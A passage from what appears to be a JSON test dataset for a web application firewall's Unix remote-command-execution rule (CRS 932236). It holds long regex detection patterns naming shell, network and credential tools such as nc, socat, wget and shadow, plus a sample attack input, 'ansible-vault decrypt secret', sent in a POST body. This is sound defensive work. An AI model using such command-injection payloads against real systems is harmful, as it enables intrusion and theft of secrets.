>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block ansible pull from remote repository" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=ansible-vault decrypt secret\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\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(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x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|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(